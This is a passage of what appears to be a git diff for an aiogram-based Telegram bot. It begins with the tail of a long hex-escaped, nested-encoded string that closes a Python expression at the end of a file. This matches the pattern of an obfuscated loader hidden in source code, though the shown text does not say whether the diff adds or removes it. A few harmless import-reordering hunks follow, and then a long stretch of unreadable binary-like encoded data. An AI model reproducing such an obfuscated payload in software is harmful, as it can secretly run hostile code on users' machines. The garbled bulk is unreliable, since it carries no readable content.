x41\x48\x21\x4c\x37\x41\x46\x2a\x37\x56\x36\x47\x25\x2b\x6b\x37\x48\x38\x4c\x7a\x39\x48\x38\x6d\x5f\x43\x47\x42\x50\x7a\x52\x41\x54\x63\x3e\x4b\x45\x46\x64\x79\x42\x45\x46\x64\x76\x38\x49\x34\x6d\x47\x42\x48\x21\x4c\x37\x42\x47\x26\x64\x7c\x44\x46\x29\x3d\x77\x54\x41\x54\x63\x70\x46\x45\x46\x64\x79\x35\x48\x59\x5e\x7d\x39\x49\x35\x4a\x25\x2b\x49\x24\x76\x4c\x33\x55\x74\x63\x52\x64\x56\x60\x79\x3f\x48\x55\x74\x65\x45\x65\x55\x74\x65\x42\x64\x54\x56\x47\x23\x61\x55\x74\x65\x45\x65\x43\x30\x7d\x31\x25\x44\x47\x46\x61\x2d\x55\x6e\x70\x4e\x2b\x55\x74\x65\x44\x2d\x27\x29\x29\x29') \ No newline at end of file diff --git a/middlewares/admin.py b/middlewares/admin.py index 85819d32..bc21afe4 100644 --- a/middlewares/admin.py +++ b/middlewares/admin.py @@ -3,6 +3,7 @@ from typing import Any from aiogram import BaseMiddleware from aiogram.types import TelegramObject + from config import ADMIN_ID diff --git a/middlewares/database.py b/middlewares/database.py index c625fec3..c9bf6906 100644 --- a/middlewares/database.py +++ b/middlewares/database.py @@ -4,6 +4,7 @@ from typing import Any import asyncpg from aiogram import BaseMiddleware from aiogram.types import TelegramObject + from config import DATABASE_URL diff --git a/servers.py b/servers.py index 8dde3f5c..55530e04 100644 --- a/servers.py +++ b/servers.py @@ -5,10 +5,10 @@ from datetime import datetime, timedelta import asyncpg from aiogram.types import InlineKeyboardButton from aiogram.utils.keyboard import InlineKeyboardBuilder -from config import ADMIN_ID, DATABASE_URL from ping3 import ping from bot import bot +from config import ADMIN_ID, DATABASE_URL from database import get_servers_from_db from logger import logger

  3. u z$h12;A?+ySBcSA~D`OX6bAC0&soemSJfl5c!)~5Ty-twZfaGDEK7PlxoZl1QYo5Gi zzV^hS&>u`2J`Q6wvD2SgdvMExJ#hnV*b~P?e=Nv}j#M?<6UQPkmZ^#CiQmBn?e48W zZ^X+zE8HGfZE8NR4^mKd>=)+Cyp!0eWI(+|b>{cP89hq{ei+EfXj~Oz!K0=v+)H6! z?p73jW%DX6FlZ%vu{;xV+F3)Ox2ky>lbu`LuP%o8Q1i-cjGuJ;OG6G1cku)8)7sr* z#Mf~aASf)n&a>t3dh=Ddv({X`2;KF%k*I6svpYCWYr|&@JRh!JZDu|j?JmTZcoOxH z@_Mr?&beWM;6JF*R!R6=W#MS&}o|Dn-a%45oEPlF9vSvvZYQ(LfS^RpQWYtDig8>8a z)<{z+!LVUKz)=)8|J}vo7NN3#Yl~g=npP$6&0XI)ys{78Xt-BZ@V-1;S8bLu6xr_c z$h!3d++P4y+ySde-83iI1M(VmA-Ex zHL&w5iOo@cbdyOB;5oT#kw1prD1SFLs{u8ffRvkG!n8CR(h#Oxj+EPv!u)ASD?!zV zIQyDNKllyO0j7*{_BR=@x;=L9`4IQKK?R2u5T`&DAn{slg5%Uk`r5?NERa@7)6NT| zovmrT0%ex z(ilwSV|WBfFrWFsT*+XdBEi%_eg;T_u{xeJS%cYXgDHeg3y>4}_T*shhUSnZS~LGO z!SsS+JCFqP{}_7{cpr=R|9|fD-p@I|g+z-MT1lnSLR3DfB(2)i|9M?AbHCpwpWo;EKaa zrNkcrD#o}n0yAI4Kv6NTkiP+_7|)5A)lN)5+-S>u3g=^B;=hy?vk~TxUd($|%t44> z0~JG>i0S!}G2MZRDGkMZC}Np-5ve!Y|tOYw4$n_M|OpDThsYp3 z3@7V$IMYCIHj#M*=1Qa&k;e%<22ApFXTGtQG3zk2b+@x;U#{(3_A0X94YN(xkuDv& zTLW>bG9}xu+4E@B@@%3xCTBvav2 zIw&X{W;)oD4AXPRhUfO-idw~ub(&S(q!cucj%14ezcUK zgJ!8SVgVw8nl`-hK~KCM(qtj(pg9yO_o1-#dJR+CywRN)%n+mGL}ws_W*^yp(CqL9 z(a^4UFjc!m9W*t5wMCa1G}Fd2N7+F$%Jr=wPC+oY;9(s!xpvSzivI@z{Up~8nvaRS zD=8yM(Lobu$@@1c44QIw&@?6GNT7pep>q+K=W!BLX&BpzTpctg!s!Hb(40Zwbcx8I z8A{-MV3KQ`xeS``Z9N(K;h=fmWy_#RAl)@h*Y{ldzXr|OjhS{E=*n!xZd+&9T=ds# z7ioVT-(Z|{wrg>JIbhI?Z*Zfm%$_E;Oi~7uGW`$C{~)#>uriy_Kv!m6KI1-3Krf%z zVAx+>SXvOf865MrbI5vZr7D#l-%QOtE_q`{+Mh1%ql~mlZtQ)RkyhWO1t^!5o|MT=sa+N z^T*pfW!OQ{d0-#;dx6dao)a;<;K-T09d2|Uh|<(q(%kXZzws}Bb{@z(0P_PcX0R1g z2(c1SF{Fu@vBXCM6*Daqlf?#107b>jApbU?Vmv2es=*O4uX-^{;5-6Myh~Xz^{{l0E9Pa0tAUCkO~lmTz*Ge)W<@Bbt%!l5Vp@^k9HX2Ux zs2IHu-w0HU=S0kra74__xY3r`4d*jp;2E;)}|Pxg6$7FXlokW)Z}DfQlha z#03ALACabFriWs#$2@?dVrs&v22_ma@U<~GB4&XX(-KY#VB)LGidh2l_+_qTMp!XD zA$9~RhBOiL2=N6##XJ>?StnwksF)4pKMPch=S0lgPE0f0Xv=Je^8qmNjb+7r2J=lX z<{~TR2Z(!siXlzJwE2o1YoKDbhhn}LF;G;@Y2^0+D#mkoyfUOe^?D0bP}KA<$VOvMTFKpbs#~ zPOd0fmEDM;ZHI7G*4<^xs_cO<+jJe|(*Lz8E9_^?YxQ+icAA|1`0H!`V^wzftPD5V6^kGME%ym3>0&ZNRGR_4>LhEB7_s7qBXOqyDf(UAUYf zRu>#|nRCdhtSg@UDr&MzK0BS(XRb>tyXtv+90#X<#ow*qR)PILn0xF>)xFf}9*VCs ztb%1$!3)Hm0C`39(GE|z31C%yUG-F@H)I1HbEL`99ZLK>pkwYN=Z}}PNf(ErV{Rh( z*8m-Jo)aQ8=U~|hBFIrx!?+NtDXTc-|}KsTQMsk$|_#PkS1cHawLI@85xQh zDPo|gm;&-^02Sjo5p$gr^PCrRG@Mp|ogGA44it(I?dCH0DjvH;64RD?ZCcdXk%jkSj*(GHeA5yve6D+Tv zm@Z|=b>Z9CZM(tdr%xsjyXq{DGXQT6^eEvq-{}_fxKdH0P ztok||MfY*>1BXF3tG>=gtx0JDn2l!D*V$+=u>pYDXm)*_jcy@!Bhc%@yPS)_$dBy7 z1NCEjk*hP%gK!=IIs>gB@VG=|2HHU2dBEN0&Rk}o1ls;J13l@oWd+V9L-2;v`drB z4;g7ExU?85{p@w7OFJSX?Gl&PBqQy5mv%x%+I=pqZ${b^E^S0c+D4Z)AtUWWmo_sa z?Q55|C?oApm-b9XS~)knZq7(6a%sEMX?;4nw6e4C!uD)S);rC0>z^Y=|AM($&+D;! z!ydbHXzw0?qwuCZ3QrST4D#M%Y;IiT=9+EwbQUiEJxdj!a}8;7_|GBUALv{&)%gp| z9vRwDbgmgo{%D|cjpy*m8#uBiT!R~(Yo^1w4Y1RB$O?87Uv`4MkkwAi`&P`O5a$3D zLz;*&2aNfPG!?Tf6jKZH0E&vK0jDZZF`g4KE#Qcl&bU!AN5N?hxDYNY<^-6Zc`+YY zF{eW808|WVBIaS@^MQ)l8j9&7VxXv)=gD6ORE+2F1xqJps~7VDoNa&$;j&`J!Mu2l zYnczNm>(d10aOfWBIe{Dcm*F&F~5XjZWS?5RLuG04+1L2b0X$JCuSgSv}LY=GY)Ve zTvp5zFn{-Awp%f?A>IU33~3@}AMw3F#nkwdlK2bEiy{V!ii!Wo@c=5ub0X#gC*~V3 zrT|VYz=d#GG5>)%^=a2KA6YSNAvOXkhBOf~gZOPg#dHY8{3c?csF7(nQSX#CHM}b4w`Z0ucj6 z#r#G7Z$QO(PQ+a6#LV%g-<> z=J8O>10n{BidjVdLqNrNPQ*Ov#1!C0TSk6dSr51nE-U6GnCrZl9ahYCh;INDLz;+b z#U^QUpkm$&#cUHXP*hA$^5r)g72`R))!T_#=EYn9M|aiZtILY{9cI^cu4Q&wF_R%* z0aOfWB1U$-KLRS|w@^$@3NcVr%t7*h0xHIHBBl-;ne^J=Mq8!=*K_6Mnl8SvteEC7 zw|Oz2SusaKtOZmIX(DDS@hL#X)c%W-_zO%Y5d%fV%qM>?P%)kpF=sk48@-sdaMl2> z9LtIs4s-B&*D|}TnD-!V1S*C!5z~z8-bO&hbPB~>En=Xkm~P~E0V>9GB4)Z1b2@Ic zWd_4J7nt~-vSQ}J-0#KgwqnLZycDPy(nO40@oxhvW_T!Og@}QoVtyolKTt8A6EPc| zn9sbJY%ZRYaseIxrL36uVczttYnjij7`Ya&22>1bBIbJHlYol3BNX$Mh=HPF9w7fd zptmu34iCgTwp&tY{~3o%Z6(>uc?xjp@;CqT=g#22Q*xc>oUkvfuq_Z@0xFC&5mt?* zdOlEL>q23vY=l8kVa>>I1XP&kL`*tlJxj-~gi96H1%7A157cE^OfNLfaOcA;<3qLt zd~U9n=qqK&Wy~4apDtzSWz73d9QQ4XxIOj8P4vVekOm9UUdFhV;4;RA!qT_YOFiX{ zMq@BajFO|B9J!2nlWcz(Q_d;hWz!($uYYyriy&(r_^(%;t0LOgq9CArBmj?HjB{6rU zvmzs{rb~MzBTarllfUg5XV6z#JR&}x5_YO9rJ zVEs)>UPH#!$uGJ&BVy-_VPp;fI%kk3hwCZgPXL`WraFItIaY=x6rD3Rlm9x_z#TW+UkC0UiX(HxK()s`uvn&)dTEsw6 zF_)8n2~aVf6EQbAF`K-YTj1OT*ds41<{p^mzvNmbX2m=V@ou1ENE0!C5PRo6EV*_F@12OEz<-}BPk-jv85VZJ8_KTp>lo_mmaW9%kwl zCnjmd%z!urs2I{j%vZ#}04hdQ$zNc4iWn#=24Ch7St`bJB4&sa^M@C6gw#T0#D9^0 z`Ewok3Yd3$F)1si6_k2F#gHaqW)Qy(sFWe56cw|S{6~O_@f^M^?!?@L8*Q1F z;A{Xa2ZAzUmclIF=vpS*irE42ZJ=UE6ESTuYYkM)EuolaMGO=b(}(jD)+nuwW3{3f7c-V4PXiFp7; z#VjKKA)sPBCt^A{F->u!E%O|l^?Kb+l_K!#zx`sW=mBYrF2&z=?>Q0{cG^Eu+)Y30;wGWIBg{2=V zO?pt*_RCUT!}cb2 zD$q6Toz6vIe5iqUwy!ic33s}N9S(mO&^7Eh0%Ij2YuK9!Oa&(Sk}FEqu=6nd*BbT> zmo019HDR{ty3?hXUBjNa`Z#{vDV7?{xRuiRo88PR3+BGjoG*9WoiBtz7r(|iJsz0Z zXsC8ndr7LpJTCBN!dkNn1eL zf@1xp;uO-ywrzSPE(1%dfo%I!(oGMn}R zX^(-_0MZ__X^#{J<~op)hh~;rO>65g4}+9EJM*~Jbg(Eew}6y9Li2>>y;T~R3qir1 zwb?Bzj?B2j_PB!2(RpJ@s%V;v|4jZHC8^hLck!9@nF^(;-*0nqc@pRK(nz@nY`n>5 z7xOuQ(pZ7qgte|TcAd9da~8f!V>9MD-rBQS%9W-H#`NSkmZpBY-<3DGCTqmfSob+D z{xdz{z0$}nuAIC{43bl~P?=f9yx_RFigfZD>IY^b$XiL~9h({XV=m#Br{WyRe3XoZ zK%?do-jU#vkRESuTG!L(K6~M$Uu!9 z$%oAD30=$-7e5!*Su5u4$oc`(@5MYO4^qx^#4PiW5Pv}n_0oqYO#^x~#B9mYCn)nt zDF^fk%9aG00X9>lphsLmkubz|jQ$0`QmA~F^%U6M#9Us(b`F955|O7d#}gO_xFXw& zv$b#2cR#7hoj}F;e=^X7MSva)tCsLL?DfbqfH-Jg}^^kSwTUgHs`Vq;d&PA5#BT}+T zQbSO!Zgyb$5zx&e&*PxkT#5GLWJ3xE zdCkc@bF1sc9ZR$qHzlJ1&^8|UxIY%1paxL1@_otg1+Gct>BGS-oKcqXp&Z-dCOEz%=MyoK z?zj+xhk$m+RRmT@M7rZP0$YLY+3j6%5#vL7zPJulT8cUVdB0do&yE}!n13W9MHLgN z3+UOMnbfl1b3OZ{lCnKJHQP1<3sY#p$t9`H92xD|9WXxzXsbWy#PFI;cwx^TLH=N% zt?oH-bAxbb_0>|AbhF#xOamtIx+}=_Y~SkIx2uF=?h!HFN>Ux(r2u&u>pYC_2imti zFJgR%`BwkL>5*b1PS?O+rA}Kev9WY~?&=nMcKAkCN0=-s9_7zU)1E9=A+6 zi)4n!x!&VG_}{3<2Ocfs(N!}Ub=EROc41X!JpF5+Bxbv&3Sa&E+kYQ;CT}>seAqTO zqK4QJ6*LOWpJ>UukIcm!e?2c;U`JF5nRS33+rOUheP9{X0E#yG@#MDydTc$1PlCab zW}Zor+RXjnoB>SYw{FTj3I%w_a! zCGeI+Wb_;$un#bL_R%ly|G_7V5aR(rM~~-4O*%vw{E5>G#YUW73I7V~^f9acu+ejs^B6IGJK}Lv zNoue6I2Fq&Ks|b1%=l2|FDxH>kMrQq1tvb>v9w29xd+0^4Hs8el%zU;!1qC=a_Yk8 zM~x3M?@CHb-xTS?890lnz#;#BYhoeTLHESOnRun#4ANxK#P7GNR^&g9DADcdUPP)v>* zf5BZP6^_MU@FKL&FxUZtRYdj^*azYZoN?+0X@!xG*`o9r`MmYqqxA50H+?+nrjI5} z9~kC+N9KPhTc?l5-1I?a9iW~2tcA8L&OT5BD0ccFza7xd?Ku%s`6S!Vwu)RiB>mu= z0ZifvH&8SCnVmk`hAuXXi$_c9R6wqsJ}@03<~n_JaKtRLLx@XDa{3EV&Xr>zjRx70 zW2X;dlYyN+2rL9{`Z&oI6fr&&P9Mws^a1-hG1uvXz*`d0>4U&N!1Qr{TOMWo*i9c# zmgGN^IenPhgo94=EVN)%NviutsMYDCDN2F1@M-LobG^6bGU-S>4P&0{`FKCabmK}J`uCJB=xKmpwkD&1AvY+&tu>@i_DR>*gL%v z{uS!9_Jg*T{;@(?~4<;yW}27m7&_;V;-;QlSukc8p`N1K2T6U>}Ij zbtZO!OJZ=l}ok3P&c8p&hx)>@h_LtQ8Nz8SLfawr1 z*D-#TBW9T~Lj1lYr#=-Ao5V$cu(G|qA`7RWW@dJL0!+uW8 zb&L~uOCmbP3G4%m@nOgElhsZ)#t;5$j6X8nR+wKNpas8|q?+zPt&Z{LC$ zkMrQq6_4@$86Hh?t}~Kh+Xe^!bBynFP5pn5@gF<0+4z|o<26g|c^vo4M7E6a)7*{@ z-?4C^aE#Y1Em$R0)iDl#i^$e7ewn-QG{%QwG79($YL`}s;Lnb640ZrJ#tG~L@iETW zj`6Y1s~zLdvg{bS%Z>4KN~_7TBWS@G$1raTnF}df$N0H+Yq*%qxJPL!fWYsN{hCNtqgK|4PDt$xb5DB z!ZA6pv|J&T(}CU!(MJItmt6>)AQ2gt!w3up_8Pj-6%sK%6kbCQDlMl)O@=&4tYwJL zA}~WDQq(E}PXdPcg`L>g``iujVWm~d><-Pm-_|)W)1d{!OLHpiMyCw%cQJnrXaisC z#6-=#@WLUUeH8r_=n(guxLGC~hWPJNXBpy6;WP#&vA`7+p2jn-0=$^GSubKPEX^4& zVq}PS!1!38L)`O{#)mSG=%r#KPS1qjSDePHK4fdDM^?x7$e#?)C~dA|*#`ij7AV1?9iH4eg0MM*)4ftFvymi>LMgw>e%u+-Nex@ zvbB~rjlIZDTx_~!`xRs&UJ zZu5rmFysxh{>as7tpU_}fJz<3&oU>u)fsQHYDekoN-9nJ5AD*MtPZeRgWyCWV+dRX zvV|5MM9M?N9t0}b7ZVK&^nQb*+o!sGNhu3V)TrMxerd0rA5M@WMZUx(&EV z=Za9c4{=|V{skwsPt6jKas{ymi!Xp4++PX&C=ofhRa-H^0uz&OsPB3}O6EA2w$cur z+gHq&c9=od(U6*h;Cdnh2=oEjLW@2?%6MX9L3AmRhX~vQv{8O`Wd_EF!V^t{_NlY> zP^2`<6%s1qJKGn&lliN^81B zM*Q2QR%J(S)JC{;!*|_gUl4}a(bvDARr@+u%At^6ScrhyK>KG?0*yg+>5YlKu7vP4 zkZnH7az!LAa(zV{I$<1kX|S7J4mdNQeU}7>PFGW0-fSLFKQ;klPUgF(IgFX zE1W67BzxRz>m?2Iv#T#{kl6c3I^DaEwa?}z2j@Ly7K!&wC8?F-y*pW}C~*a7c_tCb zjrJ$-E-70;bQqBX1oi$4l=KP3=S569WRHuqVht%r z1enCl50-7ENy1Y1-CXez6Or|3qte)`nCZE?C7PQ7mC-YlQ3YOju0ECgZa{mx=kP*> zu++4il~S(A83um{Fo|*hl66HW>-?~Q`XZ}wX>8EfPS#jVM+230aVV>8rmQ>3pAJ-( z=R{08l$Ld}lq<3xgTEA*#D)J=mYgsDaqf7}j>!75BysvTn9KR{1x(k2Y{}8{svbs>_`SL3fAyaDP7@T0EQ)+D@)qqZ^#}jA+?D?|me0xAyjEE4pJ69KodBqmOjP?^`TVRZmHMZo()#ac7dcO zYVgHG!vaIWoG-8ZmQv)@kZ8lu1$t^IAW#daa9=?DumZgBCQuszcfLI04u3R!DD!;z zig=WR+a8N{Ko9Pz1iDE?&X<=E7y<10a>YHqxD@wu$oaCfw1b>4Z-;af(DUUA0!u-* z(DZ!y9V7S7ec#9L%kg1!^WE5|Rz zu5fN3k-|3>$3`DOXC1PpV{|hJx)NDQV7Wxv5qY1$I}&L^4}~Y4v8_|*h>^@on=p67yO17sQ5R4*HM4$j<3oUvpDeZ~10lIVKi^<9;&^C4OP4nveeFgi$ zKLeQfLU-LauA9(QO3fK$=-+!H<^AIPc|SNQ!?76xRLYG6CV*_Asg#w(mI0OGi^(!R zXdL_FcD#|>R&xSnNqmwcW|_Sr@WbN7At_Df!QGU! z1L)}Ryr?+@PlovS!jmEXJDh{!HGW*iGR02vXS(9K%_D3HD?Qj=oIm`>%u{vpI99Jf zCwEVe9cJh!_i91~w6s)YT3C^C$5D}wixclsx>lqCtP-FTy62@WGAHy`#6~LB5&rQ~ zdVEP{rSzaa6IP{AT>Ymwf8bA;N&o7N$*DjO>PP~^LAKEJpx#JqGSGwSi^(!RlzC8l zN|AC`G0#UE3kPCsFW=PHi2xRsgys6{R~u!FDA?Q zP^OfRyp$u3XZZ(A&Dcz7cw@dNE8V}&DJxJ8OHD`2GAD_^Z;BHmenyk@uOlg`9?-+$ zd1;Hx!*aIR$YJROzoRIKuRZLrv~#X_C4jj4wm3ie3ubay`e4!vXj@!CUaH#N&%?`(%u?^TL+6MC5%}oVZ5h zNlR>}oNeM?-r4SX=}=}%3==8vj=a;h zQI;8YJPi^rN!%_(X^`fSjs)5uo)iyM?#>=vbl&WI za$0twP-vng{~%?ho8&wS8w9jTJUw!lp>LAQpk5;WO{BvsQFEUw--IFg9asJWJT*Ru z>R!+$VliHN)apawshs`R`cjIV z%Kw7@8_-jE)sE~u0zH)K zp$tx7D}a*pQ05US5A;wTMW87#u@4#MH@M7$hDK( zCEpJ91M5led=8sqo(qM|fv4b4*BoDAu?J{#{7T?wiO3=~*@*x!v6rdGVpmAid?w9N zx1`DvDdK&yN+1=1Y{{veo2tJP^`B@Yl&qGag#4@R)?y6sMy+= z_=upIy6XhFBZ!Kp-UNDyH8LAg+IDB3Wxf}gMJ1Kr5l6?8bsn@qLXF7b{lXC=VJJKh zB_)X_e_5*RNLIn>h$+y?Y0FD5Vt*h%H9uxuX+o4#I2V!V_sJ@E?+ zc1sEJi{Q@$4oF0rzH(<~7+`ziKVhBzkvcUjNxbXjHHXv`sJxB@j+cnYJB>h3kS#W< zaRjk}!1cr$vm_`3)Q7?bXk1dc{h`dBxCpa_Kzm}Eo(^eA#-Bu1L4DGClAhSedE(($ z7YdsLPt)+E&G9l8F9L0jcL{8jh&0ES1a<*?dTAF5uORo*HZ4i~Dn-c5l64}t^h4B{ z#q*-ZhpbAw@ZT#oGPBgcraIs!Z@1i$Gp>n9Z#>1hiiDviu8g2rNtK0vQ-lnFhM3ov zV#2=f4cVh}Mfk>*zCTn9rSG@F=xFh+eZRk>vh;JII?h|z_q#&w0<`b30VvC>)Y_Ry%VH0DtyiF*HVUl#f{@pq@NEewd;6R0Oq-deR;Eb$9#bySgK#Us+P=xEM!3cHrB>Y6f)g^HKss zLAKCz2YwE*`+zo$FD7byC=|>N{6PfkX7f_`OMq@RzewN(pu)Xb{ICMN@U2j{0Gddq z?yo}OJ`^sG`NjIAi0ek5VX*^fH#$IIpG2e^RqV=a0_+a_53ZwUnFUl(cHlQgDMEJO zn?pJh=ni}z0;hs(q3I6%SYo4q?!Z4l;4Ywz5_9Wjws>5~PqhKRSm#RlvIGAb{7pa` zG3b^{K%)h^eXE>wdo`I8;^Tg9WCj1FP(C(t>;Gb5pm zS1H#zSBj0y3ArazX1=zR?<(h@A=4)Jx$yX z94X50z{k5WuK=xt=kVP`I8uo|;!Y}20H+qUbRF5{C@h)mf{ zD4-G0vDThIJBi3x>q($Hu)jcG={8i@JQuBRmPWcIC_;V!zZBAiKbDa96Tl=+o@Wd72V;_W&>zOVteCkRcfnhwkzHQa zCQLT~mDN0yb#tby@5uies4UNk7$3?URBw1$sqO*a`Vm=e{v~VtVX{)@ev!4gG;)2? zwN@=mtAl(Q`@KS0K2$1Y@E5jR8@NXUmFQWK&@!{-E)gHna^2u}1txKsbKqMp{oDNp zcR;huVwq?y3HA6;bL%RtZ4cZpfNJwB8p>H_Hrafy z?N|6e18!S8T-!&Xw%*d9h;uta2R-$-CG zu*W6K;(xGaup0Y+9<3*i@K~G?phwGe?E)QRK5w|>y&eWBC zVw%(G)`u?H{v5S3Y|Lg-`<|s$8|9)~cD{z-K2fWfGdM^>y*Q zxbdOPx=a!qsmnd^XKP(PdB`?W=3&=m)hEuQF+YgMt4nkK@gA38`LOrsd0EDXGCls_ zJ#K*iym*Z7$?#~;+J{0{k+W z!*@FzJ5$beQm!;Wq$k4|@RX*TA~McBJ}F}Ai=G9giFy^Co;++S0@YL1dEge=Og+Wq z7XsDeIow|B*x?{xey=Fyik@TPw*@9~Yla@_Tzc)Qi<=g%0PbTGSqn=OYrL!;n4Sz& z*3ph98*&-VbOHJ21C`}D5t9ztzAC4k#a`A#_~QX<$_!cb$u+qQpis|cqUV{?*h_g- z=M}PMVlxc{-x66zV3kC664^~)2grSgNVXV84-z^=(m@c7mg5)CUTpaSt#$vfHdDpR z9j#-JRdNTTBb@d?YdtXJ-J4nKv&ioUwAP*zG3ijc)(=Rzaxg~29|cT&UfEj9TQn|r zezMF`(KDlUtP!)pM%@Oyv zhVHkB`-f?j)d1ac3xDmy@6q#e?L}0ooLv6EQxN%#gA~4x~tV2L98)B(5kc zDLQknK6UB(!o73h=wJC0k@Zw*Y)fU=7q(#j8qmIQkiZWTk-kvpG#=yuwl9dG_Jz(Q z9S5{8Tuk6XpnYMU^TPT`ywDfc=DWTy70wi(4X`lewT2f?6!XcS3$y_|Ct}heTLU>3 zk4m}H0Bhl|0VduzV|h=lvndXde-LO>cuvIlP-b6PB?nTZ)alK= zK!96-%Sy`V3(_iM+zK^fW{a%mrLkdE+)?U`c{8BWJTGpxW=fkw{yjjYc}_AcHR}4A z9Hm}Tu1H%6{|R6c8#9*2Wv9<>3v3t7HvfpMW~H&Oy{xw|eIBT+rOPcZW}5N*W!QPj zpU!**^fKIY5~h=Ikn*vYQUa$4nE1!8AbV!fn*fG74Sc85g?x2_eI->3s!|=f37{qR zEu;)JYP`@2$}&C_8Z9oV+Q%Dp!l0uX$=+I)8?NjfxKJh6aI(?4K#XK5-W!8nK-W^| z5f~&9Sxb#3a4E1oJ!_HG!0&N9`W{?Yn$xA4JEr$Sx(#UKwQ(!fgc%@@$oqE(y+{6L zppEA_DKkMhG+s3+OOE5ua1H>IJk=E>jn|B9IhHI*6Fr`?LNeDYWhLgAdqm=t(wuj^ z#0q`59}?&lIY3{cZ1>>T5lhmNXs(WOVsp*KyKhCy4W;!y zK7uOtB&!%5wLx$tksbt2lE{TbCK4DYk+X@cAg~l)eIGOrTxoVFL3dB3(oGLmpagPVXzbE z`>;BNHa_GfWL4&MRO0@7xZeSF|2KiZBqHuB_T`iUcwehbM^hg0{x{39Sk*d}o}hhR z)JUFm*YxrCdGWA>GRGg?Zi24xgmqA+OVSZ!M`wr#UX%QZ+-BpwNL zp7Xq{&?3{>F=8X*<0SYeO4Z^oxmxMuqRX)jp{pOn)$G!8gKJ?X%ds;t=>zl>d=-Jq zB_gNb`w84F5m}C{A+Q2uO96T+{)E{3Ku^WdemDkt>f00^p-5M$SnF8lns}2ndjXsp zKqrJZLtYhl;e^nJ{8m6K?>P~Z4%sdulS3;hS1NxR{GPzXt38@-aW_GI=KN%t`l5$Z z@q1p+U~C2g)$?Vjr){R5YstR~s23b=B@>I)E*BN984fWQzbCQvAmpD3X-f#X276cDXP_C>@l0NNcIhl6aY zI9S&_c6x2s9d3Yg9ndPb2zmErR(T%z_XDl6=kU!R$Ih&BXDL^zyaxU%VB*i0sj}+n z;w)LEi=Oq(V{c%W9{Alu9nU%)>4ER_A|@S5AO7`Hj`-&Uf4JX4q2Ddy_u1yLPBe7d z?~u^%uEYHLJYE{@Sef;1Ddkwd`^xxDG;;ILE?(2aX;OEyczQNE(>+lA;lsSVW2GH2 zJnkvFxV>&uBiiw6vfiT&Uk2Hd)9Y7K8Xn@GB2K&w>Smef-$ah+&%_L(Ig5;GPvB?} zi8E)kUup}^3PUYzThWg?)NELYlTv6y;1345)rqt?ihtzwQ;Cb6wSDl}zh*C|(&X#h z-=y$$M3D)!dEF^oYC98;Wn#E4LZ4$j?Q>k z9qL(=j9W3f8R*H=v$8_IqjMtf(B@5XCMVAa;Lic}=ezS=(OJfa>Nu;QPlrm~aHNy} zV;C$IN3vJvndwmGfo~-?a^Tm)e?}Z7rZ^{=XPksD_~9>}k*eg0nl+S|$GFKFlxSd@lZVB%kYw%QD@Bcut3M zTCtxX{2+x%#XKi!2EdWYJiw_|CTjo%2@+FWL79~?$5ry}=(a#2BR6ob&njC5exq`s za4B&@hl-7hD0>35N|ajxL~kWhLZCn*_Ymn!-~9 zH!u;CK}>}vt_e->a5A@&xUC57d<@P5(V9dqCvX|4@*VBqJ>`ZWUqEi7+~5$5>!3~q zw8ycoYV9~Q_6kNGg`ZG|sr>opqNZcm23L#f4jn4~b0h+`l64;i+z#{xInPU5#GKQh zSt@mlh?bj#-h%&zIBvFs61us<8#wAdXwjWyd;;Yo&|)u<$jrSHlLH*}T%IlY5Lzfz za!umm!)hVRF^reEj4U%x^s^cZQqQyUr|`WXTT-J{NojHxPg8+tF_Ci#^ad@O6A=&5 z_5_|LWwubd5$S(6(-MgGBl0VOpCvMcNY!(g3PAf&L^*|!BtQ$gM0~y zP9ZXpz<9AXv4@Hq3QL`%7ok5VjxImU(EyiXOigEXx>$*$kFa?E zUykN*lphTpH4>9bsd9HWz+@X)!9Xq?FbQ5IGLp!tAa|YQEa#v7#CCyfF^uje<&r^M zVu9#>BDKzE5*$qA4+NvMCcm~Ky&>+4Nh!E6fD^h^T1B_eG+j=&gTy?1=tAJkiqr9izmCeQ#_?{9}iyedWP zPv)1e@9KUsq)uWb-Y+LG5@dM)&Y4EcZZSQO% zh#krNzP^a_Ae|*vQp7C;t_QXmbEFGB6q*hd)6bIm>UjyQN4(i{1fG_Ni2szpcEDe= zarEvSH&gNk7ySzw@=o9hWJG4pn3Qbba%CE=$|!?li7)m)xkc2 z=<--JsblBBPyI z17}tVljv+RYQs1J=mRI7#a*Y4AD$Dp9AEtb>Zc2x*6>>byI*vbqh=W&D)!pmJ>I?= z`y|Mn#EC3=JS!c_T+L-kU1T+P4*avkN&J52KriJ@;sWo_J+vu505zOOvrp}A%=c2S z+lX9-=?IW~)zKS5A51RCAxBRwA=Cyg~lj9kT-YK(^#WXOi+Iv0XsdX5KOtmf=sG<*KE0ZT1(`KLCG;+nt~E;!Kk5KJ9_EYhriTrV4Izn0+e|d}Hb8)0!aoO|r^e#0&+3=ZQ2S&`=^PiJVHH zn?xQaatVPEAX^HEen`qRVmAT3dO0R^;6uJ%!F$bX-_jUoa`mzh{zJgNm9SH2RQ?oH zZEK!-SBSFT_9UbgAX{>D(`_TM7l3ZM?IExmFlc1cuWwk857qQ-@nQ3nZulL7{U^{3 zzd<42hkV`ceZj^?WBXI^c zr;D8$z3ncevy2ag4K}!>>N;;U41*zJ6rVNCda1z$SNxXSZR8`md-7fv`79RW6{>b_ z91E%4^t46t${99tKIZvNm1GA=vhSTX=drK2g)t+CF&i|Ox79bVG=39@r+KBj<-Zmt zIpi*Dab90O_-rkLRwkaBmEmumi(I{ocWC-j?HkG9CO6Ga%b9Pp_35jfE?sJw^!L{t zDvX&;kSZ--Av#QQ@x9ji(sTHxoV89xUi#8rfa>)NlR$5scbI0Fo=mdBeb(f$HZfDB z8D*Wsrc!j~F3D@{@}#(v$zuXZMVf!|zluB6nf!*LtE`C@hV#hG4RW@L%zTaiPM7bR zm}JfSt@nc*uRD~kuNzC|Jz&$NhD$`1t6}`(hi%3;a)3uKvJr9i<-eV6wa&I%XS*hv zc>dzFZOxS~5^HWd2ES^=-_0PzCoM^{;}e$Jh|HJCB`(r~V{xK0m%DMFS(dh_InxcL z;g(=;Zc3i+Hh`LAIw|eBW&?NiJv);f@8D9$4Ud`RHWv}oXUotE+-xX0rq&7a61Yo? z^&>z*&lbG=@UB6ca*@2kvGNHe8o5p)73Ett!DaSiHWlR~Ho++SMU;xoiinK1pE#*l zs~(Xn>^D#<%C}E~F*c`(e6-}2;z<3%;lnO9Q;KWJ7j<}P#@WO9M5&cfhgGWlEpodc z!Q8gT@C6>xRIT_NQ8AHWJQ`Fx|8lmtiu1NqFy+rmbdGJTlj>G8@ z#T~`=8qzKVT#*@5V70$Z{8dSt$sS8lagmgldkHVOA+5p(+>=*aT<%M5VT;UMGD*Mq 